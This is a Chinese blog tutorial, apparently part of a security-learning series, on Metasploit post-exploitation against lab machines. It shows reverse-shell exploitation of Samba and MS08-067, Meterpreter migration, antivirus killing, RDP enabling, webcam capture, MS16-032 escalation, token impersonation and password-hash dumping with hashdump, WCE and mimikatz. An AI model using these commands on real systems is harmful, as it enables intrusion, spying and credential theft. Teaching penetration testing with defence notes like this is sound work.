[系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集权限提权和功能模块详解
Posted Eastmount
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集权限提权和功能模块详解相关的知识,希望对你有一定的参考价值。
您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~
前文带领大家了解Metasploit技术,它和CS都是APT攻击中常见的方式,并结合作者之前的漏洞利用及WannaCry逆向经验总结。这篇文章继续带领大家深入Metasploit技术,涉及后渗透相关的技术,包括信息收集、权限提权、移植漏洞模块和后门。同时,结合作者之前的漏洞利用及WannaCry逆向经验总结。本文参考徐焱老师的《Web安全攻防渗透测试实战指南》著作,谢公子博客,并结合作者之前的博客和经验进行总结。希望这篇文章对您有所帮助,这些大佬是真的值得我们去学习,献上小弟的膝盖~fighting!
文章目录
希望这些基础原理能更好地帮助大家做好防御和保护,基础性文章,希望对您有所帮助。作者作为网络安全的小白,分享一些自学基础教程给大家,主要是在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔!
作者的github资源:
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 网络安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!
接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~
- 推荐前文:网络安全自学篇系列-100篇
前文分析:
- [系统安全] 一.什么是逆向分析、逆向分析基础及经典扫雷游戏逆向
- [系统安全] 二.如何学好逆向分析及吕布传游戏逆向案例
- [系统安全] 三.IDA Pro反汇编工具初识及逆向工程解密实战
- [系统安全] 四.OllyDbg动态分析工具基础用法及Crakeme逆向
- [系统安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大战僵尸游戏
- [系统安全] 六.逆向分析之条件语句和循环语句源码还原及流程控制
- [系统安全] 七.逆向分析之PE病毒原理、C++实现文件加解密及OllyDbg逆向
- [系统安全] 八.Windows漏洞利用之CVE-2019-0708复现及蓝屏攻击
- [系统安全] 九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度提权
- [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现
- [系统安全] 十一.那些年的熊猫烧香及PE病毒行为机理分析
- [系统安全] 十二.熊猫烧香病毒IDA和OD逆向分析(上)病毒初始化
- [系统安全] 十三.熊猫烧香病毒IDA和OD逆向分析(中)病毒释放机理
- [系统安全] 十四.熊猫烧香病毒IDA和OD逆向分析–病毒释放过程(下)
- [系统安全] 十五.Chrome浏览器保留密码功能渗透解析、蓝屏漏洞及某音乐软件漏洞复现
- [系统安全] 十六.PE文件逆向基础知识(PE解析、PE编辑工具和PE修改)
- [系统安全] 十七.Windows PE病毒概念、分类及感染方式详解
- [系统安全] 十八.病毒攻防机理及WinRAR恶意劫持漏洞(脚本病毒、自启动、定时关机、蓝屏攻击)
- [系统安全] 十九.宏病毒之入门基础、防御措施、自发邮件及APT28宏样本分析
- [系统安全] 二十.PE数字签名之(上)什么是数字签名及Signtool签名工具详解
- [系统安全] 二十一.PE数字签名之(中)Signcode、PEView、010Editor、Asn1View工具用法
- [系统安全] 二十二.PE数字签名之(下)微软证书漏洞CVE-2020-0601复现及Windows验证机制分析
- [系统安全] 二十三.逆向分析之OllyDbg动态调试复习及TraceMe案例分析
- [系统安全] 二十四.逆向分析之OllyDbg调试INT3断点、反调试、硬件断点与内存断点
- [系统安全] 二十五.WannaCry勒索病毒分析 (1)Python复现永恒之蓝漏洞实现勒索加密
- [系统安全] 二十六.WannaCry勒索病毒分析 (2)MS17-010漏洞利用及病毒解析
- [系统安全] 二十七.WannaCry勒索病毒分析 (3)蠕虫传播机制解析及IDA和OD逆向
- [系统安全] 二十八.WannaCry勒索病毒分析 (4)全网"最"详细的蠕虫传播机制解读
- [系统安全] 二十九.深信服分享之外部威胁防护和勒索病毒对抗
- [系统安全] 三十.CS逆向分析 (1)你的游戏子弹用完了吗?Cheat Engine工具入门普及
- [系统安全] 三十一.恶意代码检测(1)恶意代码攻击溯源及恶意样本分析
- [系统安全] 三十二.恶意代码检测(2)常用技术详解及总结
- [系统安全] 三十三.恶意代码检测(3)基于机器学习的恶意代码检测技术
- [系统安全] 三十四.恶意代码检测(4)编写代码自动提取IAT表、字符串及时间戳溯源地区
- [系统安全] 三十五.Procmon工具基本用法及文件进程、注册表查看
- [系统安全] 三十六.APT系列(1)APT攻击溯源防御与常见APT组织的攻击案例
- [系统安全] 三十七.APT系列(2)远控木马详解与防御及APT攻击中的远控
- [系统安全] 三十八.APT系列(3)恶意代码与APT攻击中的武器(强推Seak老师)
- [系统安全] 三十九.APT系列(4)APT攻防溯源普及和医疗数据安全防御总结
- [系统安全] 四十.APT系列(5)APT组织常用WinRAR漏洞复现(CVE-2018-20250)及恶意软件劫持
- [系统安全] 四十一.APT系列(6)Python解析PE文件并获取时间戳判断来源区域
- [系统安全] 四十二.APT系列(7)基于溯源图的APT攻击检测安全顶会论文总结
- [系统安全] 四十三.APT系列(8)Powershell和PowerSploit脚本渗透攻击手段详解
- [系统安全] 四十四.APT系列(9)Metasploit技术之基础用法万字详解及防御机理
- [系统安全] 四十五.APT系列(10)Metasploit后渗透技术信息收集、权限提权和功能模块详解
声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。
一.MSF漏洞利用
上一篇文章我们详细介绍了Metasploit的基础用法及漏洞利用过程,这篇文章将介绍后渗透相关的技术,包括信息收集、权限提升、移植漏洞和后门。在介绍这些知识之前,我们先简单回顾下MSF漏洞利用的基本流程。
第一步,扫描靶机Windows XP系统是否开启445端口。
- nmap -sS 192.168.44.135
收集到目标主机相关信息后,为其选择正确的Exploit和合适的Payload,然后发起攻击。作者这里选择Samba 3.x服务进行漏洞利用。
第二步,打开msfconsole。
- msfconsole
第三步,查询Samba的漏洞利用模块,并选择合适的漏洞利用模块。
- search samba
Samba是在Linux和UNIX系统上实现SMB(Server Message Block,信息服务块)协议的一款免费软件。SMB是一种在局域网上共享文件和打印机的通信协议,它在局域网内使用Linux和Windows系统的机器之间提供文件及打印机等资源的共享服务。
第四步,利用漏洞模块。
在Samba服务返回的漏洞利用模块列表中,我们选择“Excellent”最杰出且时间较新的漏洞,从而提高渗透成功率。
- use exploit/multi/samba/usermap_script
第五步,查看该漏洞利用模块可供选择的攻击载荷模块。
注意,因为目标是Linux机器,一定要选择Linux的攻击载荷。本文主要是回顾MSF漏洞攻击流程,后面会详细介绍真实的漏洞利用案例。
- set payload cmd/unix/reverse
第六步,设置漏洞利用信息。
- 受害主机IP:set RHOST 192.168.44.135
- 攻击主机IP:set LHOST 192.168.44.138
- 攻击端口:set RPORT 445
第七步,输入攻击命令exploit或run。
MSF发动攻击成功后会获取目标主机Shell,可以看到攻击主机和目标主机之间建立了Shell连接。同时可能会出现错误“Exploit completed, but no session was created”,需要注意目标主机版本信息,选择对应的攻击载荷及漏洞利用模块。建议读者多尝试各种Exploit和Payload的组合。
防御方法:
- Samba服务漏洞发生在Samba3.0.20-25版本,当使用非默认用户名映射脚本配置时,通过指定一个用户名包含Shell元字符,攻击者可以执行任意命令。建议将其升级到可防御的版本。
- SMB局域网上共享文件和打印机的通信协议会出现各种漏洞,建议关闭相关的端口及防火墙设置,即使修补最新漏洞。
二.后渗透攻击之信息收集
成功地对目标机器攻击渗透后还可以做什么呢?
Metasploit提供了一个非常强大的后渗透工具—— Meterpreter
,该工具具有多重功能,使后续入侵变得更容易,获取目标机的Meterpreter Shell后,就进入了Metasploit最精彩的后渗透利用节点,后期渗透模块有200多个,Meterpreter具有以下优势。
- 纯内存工作模式,不需要对磁盘进行任何写入操作。
- 使用加密通信协议,而且可以同时与几个信道通信。
- 在被攻击进程内工作,不需要创建新的进程。
- 易于在多进程之间迁移。
- 平台通用,适用于Windows、Linux、 BSD系统, 并支持Intel x86和Intel x64平台。
这里以上篇文章介绍的MS17-010漏洞为例进行说明。
同时,meterpreter的payload是真强大,它可以实现太多太多的功能了。我们可以在meterpreter下面进行help,查看相关用法。
- Core Commands
- File System Commands
- Networking Commands & System Commands
- User Interface Commands
- Webcam Commands & Other Commands
1.进程迁移
在刚获得Meterpreter Shell时,该Shell是极其脆弱和易受攻击的,例如攻击者可以利用浏览器漏洞攻陷目标机器,但攻击渗透后浏览器有可能被用户关闭。所以第一步就是要移动这个Shell,把它和目标机中一个稳定的进程绑定在一起,而不需要对磁盘进行任何写入操作。这样做使得渗透更难被检测到。
(1) 获取目标主机正在运行的进程
ps
这些进程与我们的目标主机如XP系统打开时对应的,如下图所示。
(2) 查看Meterpreter Shell的进程号。
getpid
发现Meterpreter Shell进程的PID为524,Name为spoolsv.exe。
(3) 输入命令移动进程。
输入migrate命令把Shell移动到PID为1684的Explorer.exe进程里,因为该进程是一个稳定的应用。
migrate 1684
migrate也是一个post模块,可以将meterpreter当前的进程移动到其他指定的进程中,这样做的好处是可以给meterpreter一个相对稳定的运行环境,同时可以很好的躲避杀软。
渗透过程中可能会遇到问题,比如“Error: Rex::TimeoutError : Operation timed out. ”,这都需要我们学会独立解决。
完成进程迁移后,再次输入getpid命令查看Meterpreter Shel的进程号,发现PID已经变成了2428,说明已经成功迁移到Explorer.exe进程里,原先PID为1116的进程会自动关闭,如图所示。
(4) 使用自动迁移进程命令,系统会自动寻找合适的进程然后迁移。
run post/windows/manage/migrate
如下所示,系统已经把原来PID为3292的进程迁移到6020。
meterpreter > run post/windows/manage/migrate
[*] Running module against DX1XMSTMBBJR3FZ
[*] Current server process: notepad.exe (3292)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 6020
[+] Successfully migrated to process 6020
2.系统命令
获得了稳定的进程后,接下来收集系统信息。后续作者想通过Python自己实现这些功能,感觉挺有意思的。
(1) 查看目标主机的系统信息。
通常会先输入sysinfo命令查看目标机的系统信息,例如操作系统和体系结构。
sysinfo
(2) 检查目标机是否运行在虚拟机上。
run post/windows/gather/checkvm
可以看到当前目标机正运行在一个VMware虚拟机上,接下来我们检查虚拟机最近是否运行。
(3) 查看目标机最近的运行时间。
idletime
看到目标机器正在运行且运行了2 mins 49 secs。
(4) 查看目标机完整的网络设置。
route
除此之外,可以输入background命令将当前会话放到后台,此命令适合在多个Meterpreter会话的场景下使用。
(5) 查看已经渗透成功的目标主机的用户名。
getuid
(6) 关闭目标机操作系统杀毒软件。
run post/windows/manage/killav
(7) 启动目标机的远程桌面协议,对应3389端口,后面我们会利用该端口。
run post/windows/manage/enable_rdp
(8) 查看目标机的本地子网情况。
run post/windows/manage/autoroute
可以通过添加路由借助被攻陷的主机对其他网络的主机发送攻击。同时可以添加路由信息。
(9) 列举当前有多少用户登陆了目标机。
run post/windows/gather/enum_logged_on_users
(10) 列举完了用户之后, 继续输入命令列举安装在目标机上的应用程序。
run post/windows/gather/enum_applications
(11) 查看自动登陆的用户和密码。
run windows/gather/credentials/windows_autologin
可以看到当前没有抓到任何信息。此时就需要用到扩展插件Espia,使用前要先输入load espia命令加载该插件,然后输入screengrab命令就可以抓取此时目标机的屏幕截图。
(12) 加载该插件截屏。
load espia
screengrab
另一个命令也可以达到同样的截屏效果。抓取成功后就生成了一个jpeg图片,保存在root目录下。
screenshot
(13) 查看目标机camera。
webcam_list
(14) take photo。
webcam_snap
(15) 开启模式。
webcam_stream
(16) 进入目标机shell。
shell
(17) 停止shell会话并返回meterpreter。
exit
3.文件系统命令
Meterpreter也支持各种文件系统命令,用于搜索文件并执行各种任务,例如搜索文件、下载文件及切换目录等,相对来说操作比较简单。常用的文件系统命令及其作用如下所示。
(1) 查看当前处于目标机的目录。
pwd或getwd
(2) 查看当前处于本地的哪个目录。
getlwd
(3) 列出当前目录中的所有文件。
ls
(4) 切换目录。
cd
(5) 搜索C盘中所有以".txt" 为扩展名的文件。
search -f *.txt -d c:\\\\
其中-f参数用于指定搜索文件模式,-d参数用于指定在哪个目录下进行搜索,如图所示。
(6) 下载目标机C盘的test.txt文件到攻击机root下。
download c:\\\\test\\\\test.txt /root
(7) 上传攻击机root目录下的test.txt文件到目标机C盘下。
upload /root/test.txt c:\\\\
三.后渗透攻击之权限提升
1.权限查询
在渗透过程中很有可能只获得了一个系统的Guest或User权限。低的权限级别将使我们受到很多的限制,在实施横向渗透或者提权攻击时将很困难。
在主机上如果没有管理员权限,就无法进行获取Hash、安装软件、修改防火墙规则和修改注册表等各种操作,所以必须将访问权限从Guset提升到User,再到Administrator,最后到System级别。
渗透的最终目的是获取服务器的最高权限,即Windows操作系统中管理员账号的权限,或Linux操作系统中root账户的权限。提升权限的方式分为以下两类。
- 纵向提权: 低权限角色获得高权限角色的权限。例如,一个WebShell权限通过提权之后拥有了管理员的权限,那么这种提权就是纵向提权,也称作权限升级。
- 横向提权: 获取同级别角色的权限。例如,通过已经攻破的系统A获取了系统B的权限,那么这种提权就属于横向提权。
所以在成功获取目标机Meterpreter Shell后,我们要知道现在已经拥有了什么权限。
(1) 查看当前权限。
在Meterpreter Shell下输入shell命令进入目标机的CMD命令行,接着输入whoami /groups命令查看我们当前的权限。
whoami
注意,如果提示whoami不是内部命令,则需要将whoami.exe复制到System32目录即可。
查看我们当前的权限。
whoami /groups
(2) 查看用户已获得的权限。
作者这里使用MS17-010漏洞提权,已经是系统管理员权限了。
getuid
通过getsystem命令可以尝试提权。
(3) 查看系统的已打补。
传统的方法是在目标机的CMD命令行下输入systeminfo命令,或者通过查询C:\\windows\\里留下的补丁号".Iog" 查看目标机大概打了哪些补丁,如图所示。
systeminfo
可以看到目标机只安装了3个修补程序。
meterpreter命令如下:
(4) 利用WMIC命令列出已安装的补丁。
Wmic qfe get Caption,Description,HotFixID,InstalledOn
注意,作者这里没有显示详细信息,而徐老师他们显示详细信息如下图所示。
可以看到目标机只打了3个补丁,要注意这些输出的结果是不能被直接利用的,使用的方式是去找提权的EXP,然后将系统已经安装的补丁编号与提权的EXP编号进行对比。比如KiTrap0D (KB979682) 、MS11-011 (KB2393802) 、MS11-080(KB2592799),然后使用没有编号的EXP进行提权。
因为虚拟机不怎么打补丁,所以我们可以使用很多EXP来提权,这里就用最新的MS16-032来尝试提权,对应的编号是KB3139914。
WMIC是Windows Management Instrumentation Command-line的简称,它是一款命令行管理工具,提供了从命令行接口到批命令脚本执行系统管理的支持,可以说是Windows平台下最有用的命令行工具。使用WMIC我们不但可以管理本地计算机,还可以管理同一域内的所有远程计算机(需要必要的权限),而被管理的远程计算机不必事先安装WMIC。
需要注意的是,在Windows XP下,低权限用户是不能使用WMIC命令的,但是在Windows 7系统和Windows 8系统下,低权限用户可以使用WMIC且不用更改任何设置。WMIC在信息收集和后渗透测试阶段非常实用,可以调取查看目标机的进程、服务、用户、用户组、网络连接、硬盘信息、网络共享信息、已安装补丁、启动项、已安装的软件、操作系统的相关信息和时区等。
2.利用WMIC实战MS16-032本地溢出漏洞
下面我们就利用本地溢出漏洞来提高权限,也就是说通过运行些现成的、能造成溢出漏洞的Exploit,把用户从User组或其他系统用户组中提升到Administrator组或root。
溢出漏洞就像往杯子里装水,水多了杯子装不进去,里面的水就会溢出来。而计算机有个地方叫缓存区,程序的缓存区长度是事先被设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出。
(1) 接下来准备提权,需要先把Meterpreter会话转为后台执行,然后搜索MS16-032,如下图所示。
search ms16-032
(2) 指定session完成提权操作。
use windows/local/ms16_032_secondary_logon_handle_privesc
set session 1
(3) 实现攻击。
run
注意,如果搜索不到最新的Exploit,可以输入msfupdate命令进行升级,获取最新的Exploit模块、攻击载荷,或者手动添加相应漏洞EXP 。但是作者的始终没有响应,真实的运行结果是将权限提升为System级别。
防御方式:
- 该漏洞的安全补丁编号为KB3139914,我们只需要安装此补丁即可。为了方便提权,下面给出部分补丁编号。
微软也会定期给出对应的方法,比如:
3.令牌窃取提权
令牌(Token)是系统的临时密钥,相当于账户名和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源。这些令牌将持续存在于系统中,除非系统重新启动。
令牌最大的特点就是随机性、不可预测,一般hk或软件无法猜测出来。令牌有很多种,比如:
- 访问令牌(Access Token): 表示访问控制操作主题的系统对象;
- 密保令牌(Security token): 又叫作认证令牌或者硬件令牌,是一种计算机身份校验的物理设备,例如U盾;
- 会话令牌(Session Token): 是交互会话中唯一的身份标识符。
在假冒令牌攻击中需要使用Kerberost协议。所以在使用假冒令牌前,先来介绍Kerberost协议。Kerberos是一种网络认证协议,其设计目标是通过密钥系统为客户机/服务器应用程序提供强大的认证服务。Kerberos的工作机制如下图所示。
前面我们通过MS17-010已经实现权限提升,但已经是System级权限。但某些情况下可能是Test权限,需要进一步提升。
(1) 查看已经获得的权限。
getuid
(2) 提权。
getsystem
发现提权失败了。
(3) 列出可用的token。
use incognito
list_tokens -u
可以看到有两种类型的令牌:
- 一种是Delegation Tokens,也就是授权令牌,它支持交互式登录,例如可以通过远程桌面登录访问);
- 一种是Impersonation Tokens,也就是模拟令牌,它是非交互的会话。令牌的数量其实取决于Meterpreter Shell的访问级别。
由上图可以看到,我们已经获得了一个系统管理员hacker的授权令牌,现在就要假冒这个令牌,成功后即可拥有它的权限。
从输出的信息可以看到分配的有效令牌包含 XI....NQ\\hacker
,其中XI…NQ是目标机的主机名,hacker表示登录的用户名。接下来在incognito中调用impersonate token命令假冒ge用户进行攻击,具体方法如下图所示。
impersonate token XI...NQ\\\\hacker
shell
whoami
注意:在输入HOSTNAME\\USERNAME时需要两个反斜杠(\\\\)。运行成功后在Meterpreter Shell下运行shell命令并输入whoami,可以看到现在就是假冒的那个hacker系统管理员了。
4.Hash攻击提权
Hashdump Meterpreter脚本可以从目标机器中提取Hash值,破解Hash值即可获得登录密码。计算机中的每个账号(如果是域服务器,则为域内的每个账号)的用户名和密码都存储在 sam
文件中,当计算机运行时,该文件对所有账号进行锁定,要
想访问就必须有"系统级”账号。所以要使用该命令就必须进行权限的提升。
(1) hashdump抓取密码
在Meterpreter Shell提示符下输入hashdump命令,将导出目标机sam数据库中的Hash。注意,在非system权限下会出现失败,报错 “priv_passwd get_sam_hashes: Operation failed: The parameter is incorrect.”
hashdump
注意,在非SYSTEM权限下远行hashdump命令会失败,而且在Windows 7、Windows Server 2008下有时候会出现进程移植不成功等问题。权限不够需要提升为system权限。查看权限可以进入目标机的 cmd 运行 whoami /groups 来查看。
(2) 如果报错,则提权并将进程转移至具有SYSTEM权限的进程。
ps
getsystem
migrate 664
(3) 导出目标机sam数据库中的Hash。
hashdump
(4) smart hashdump导出用户的Hash值。
另一个模块smart hashdump的功能更为强大,可以导出域所有用户的Hash,其工作流程如下:
- 检查Meterpreter会话的权限和目标机操作系统类型。
- 检查目标机是否为域控制服务器。
- 首先尝试从注册表中读取Hash,不行的话再尝试注入LSASS进程。
命令为:
run windows/gather/smart_hashdump
(5) 通过暴力或者彩虹列表对抓取到的hash进行破解。
说明:在SAM文件中保存了两个不同的口令信息,LAN Manager(LM)口令散列算法和更加强大的加密NT版。LM就是NT口令文件的弱点。上图中左边为LM版本口令,右边是NTLM版本,1001代表管理员。
(6) 使用Quarks PwDump抓取密码
PwDump是一款Win32环境下的系统授权信息导出工具,目前没有任何一款工具可以导出如此全面的信息、支持这么多的OS版本,而且相当稳定。它目前可以导出:
- Local accounts NT/LM hashes + history 本机NT/LM哈希+历史登录记录。
- Domain accounts NT/LM hashes + history域中的NT/LM哈希+历史登录记录。
- Cached domain password缓存中的域管理密码。
- Bitlocker recovery information使用Bitlocker的恢复功能后遗留的信息(恢复密码&关键包)。
运行该程序如上图所示,默认显示帮助信息,其参数含义如下所示。
- -dhl:导出本地哈希值。
- -dhdc:导出内存中的域控哈希值。
- -dhd:导出域控哈希值,必须指定NTDS文件。
- -db:导出Bitlocker信息, 必须指定NTDS文件。
- -nt:导出NTDS文件。
- -hist:导出历史信息,可选项。
- -t:可选导出类型,默认导出John类型。
- -o:导出文件到本地。
这里使用该工具抓取本机Hash值并导出,可以输入如下命令导出本地哈希值到当前目录的1.txt。此外,该工具还可以配合Ntdsutil工具导出域控密码。
QuarksPwDump.exe -dhl -o 1.txt
(7) 使用WCE抓取密码。
Windows Credentials Editor (WCE)是一款功能强大的Windows平台内网渗透工具,它能列举登录会话,并且可以添加、改变和删除相关凭据,如LM/NTHash。这些功能在内网渗透中能够被利用,例如在Windows平台上执行绕过Hash操作或者从内存中获取NT/LM Hash (也可以从交互式登录、服务、远程桌面连接中获取)以用于进一步的攻击,而且体积也非常小,是内网渗透时的必备工具。不过必须在管理员权限下使用,还要注意杀毒工具的免杀。
首先输入upload命令将wce.exe.上传到目标主机C盘中,然后在目标机Shell下输入wce -w命令,便会成功提取系统明文管理员的密码,如图所示。
另一款工具是Mimikatz,作为一款轻量级后渗透测试工具,它可以帮助安全测试人员轻松抓取系统密码,此外还包括能够通过获取的Kerberos登录凭据,绕过支持RestrictedAdmin模式下Windows 8或Windows Server 2012的远程终端(RDP)等功能。后续实战中我们遇到再详细介绍。
同时,Mimikatz还能在PowerShell中执行,实现偷窃、注入凭证、伪造Kerberos票证创建,以及很多其他的功能。
输入samdump命令查看samdump的可用选项抓取Hash。
mimikatz_command -f samdump::hashes
四.后渗透攻击之移植自定义漏洞利用模块
1.传统MS08-067漏洞利用
首先,简单看看传统的漏洞利用方法。由于之前MS17-010漏洞已经复现过,所以这里使用MS08-067来加深读者MSF用法的印象。
第一步,扫描靶机Windows XP系统是否开启445端口。
- nmap -sS 192.168.44.135
第二步,打开msfconsole。
- msfconsole
第三步,查询漏洞模块。
- search ms08-067
第四步,利用漏洞并设置参数。
- use exploit/windows/smb/ms08_067_netapi
利用永恒之蓝漏洞 - set payload windows/shell_reverse_tcp
设置payload - set RHOSTS 192.168.44.135
设置受害主机IP - set LHOST 192.168.44.138
设置本机IP地址 - set RPORT 445
设置端口445
第五步,查看配合参数。
- show options
注意,默认target是自动的。
第六步,利用漏洞。
- exploit或run
此时可能会报错“Exploit comleted, but no session was created”。这是需要根据靶机版本选择合适的targets,例如这里是靶机系统为:Windows XP,则只需加一行如下命令:
- set target 2
最终漏洞利用成功。
输出后渗透相关命令,可以进行剩余操作。
2.移植github的MS17-010漏洞模块
2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。
WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。
WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过SMB漏洞上传WannaCry勒索病毒等恶意程序。
WannaCry勒索病毒主要行为是传播和勒索。
- 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
- 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;加密文件;设置桌面背景、窗体信息及付款账号等。
虽然MS17-010漏洞利用模块Metasploit已经集成,但经过测试后被发现不支持某些操作系统,比如Windows 2003,但网上有支持的渗透脚本。并且真实的案例中,尤其是0day漏洞,我们需要自己构建shellcode攻击脚本,所以这里我们讲述一种普适性更强的漏洞利用方法,即移植漏洞模块。
作者之前的文章也自己实现过。